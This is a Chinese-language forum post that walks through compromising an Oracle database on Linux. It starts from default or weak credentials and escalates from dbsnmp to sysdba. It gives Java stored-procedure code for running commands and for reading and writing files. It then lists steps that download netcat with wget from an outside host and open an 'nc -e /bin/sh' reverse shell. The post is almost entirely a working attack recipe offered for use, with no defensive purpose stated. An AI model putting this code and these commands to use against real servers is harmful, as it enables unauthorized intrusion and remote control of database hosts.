Linux下Oracle获取shell过程

[复制链接]
查看182 | 回复0 | 2012-4-1 19:15:57 | 显示全部楼层 |阅读模式
很多时候对于开放1521端口的Windows下Oracle数据库服务器,因为大多存在默认低权限用户dbsnmp,或者人品爆发高权限的用户(sysdba)是默认密码或弱口令,由此可以通过Oracle的一些提权漏洞获取Oracle的最高权限,直至得到系统的SYSTEM权限。
而对于Linux下的Oracle数据库入侵,因为Linux下一般Oracle数据库都是以Oracle的独立用户在跑,所以无法获取到root权限。当然很多WEB和数据库在同一服务器上的时候,可以导出WEBSHELL到WEB目录来获取权限。然而大部分的数据库都是独立跑在一个服务器上,以下用简单的方式获取Oracle的shell,即采用nc反弹的shell的方式。
1、Oracle数据库支持JAVA(如Windows下入侵一般)
2、通过Oracle客户端sqlplus,以sysdba用户登录(dbsnmp用户可提权至sysdba)
3、执行以下代码:

CODE_1:
java

createorreplaceandresolvejavasourcenamed"oraexec"as

importjava.lang.*;

importjava.io.*;

publicclassoraexec

{

/*

*Commandexecutionmodule

*/

publicstaticvoidexecCommand(Stringcommand)throwsIOException

{

Runtime.getRuntime().exec(command);

}



/*

*Filereadingmodule

*/

publicstaticvoidreadFile(Stringfilename)throwsIOException

{

FileReaderf=newFileReader(filename);

BufferedReaderfr=newBufferedReader(f);

Stringtext=fr.readLine();

while(text!=null){

System.out.println(text);

text=fr.readLine();

}

fr.close();

}



/*

*Filewritingmodule

*/

publicstaticvoidwriteFile(Stringfilename,Stringline)throwsIOException

{

FileWriterf=newFileWriter(filename,true);/*append*/

BufferedWriterfw=newBufferedWriter(f);

fw.write(line);

fw.write("\n");

fw.close();

}

}

============================================
CODE_2:
--usage:execjavacmd('command');

createorreplaceprocedurejavacmd(p_commandvarchar2)as

languagejava

name'oraexec.execCommand(java.lang.String)';===========================================
CODE_3:
--usage:execdbms_java.set_output(2000);

--setserveroutputon;

--execjavareadfile('/path/to/file');

createorreplaceprocedurejavareadfile(p_filenameinvarchar2)as

languagejava

name'oraexec.readFile(java.lang.String)';============================================
CODE_4:
--usage:execjavawritefile('/path/to/file','linetoappend');

createorreplaceprocedurejavawritefile(p_filenameinvarchar2,p_lineinvarchar2)aslanguagejava

name'oraexec.writeFile(java.lang.String,java.lang.String)';4、
execjavawritefile('/tmp/getnc','wgethttp://www/nc-O/tmp/nc');//写入wgetnc命令到文件getnc
execdbms_java.set_output(2000);//设置javareadfile
setserveroutputon;
execjavareadfile('/tmp/getnc');//读取文件查看是否写入成功
execjavacmd('/bin/sh/tmp/getnc');//执行命令下载nc
execjavareadfile('/tmp/nc');//查看nc是否下载成功
execjavawritefile('/tmp/shell','/tmp/ncIPport-e/bin/sh');//写入反弹命令
execjavareadfile('/tmp/shell');//读取文件查看是否写入成功
execjavacmd('/bin/sh/tmp/shell');//执行nc反弹shell,在本地nc监听就能得到shell,如果不行,请确认防火墙
 
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则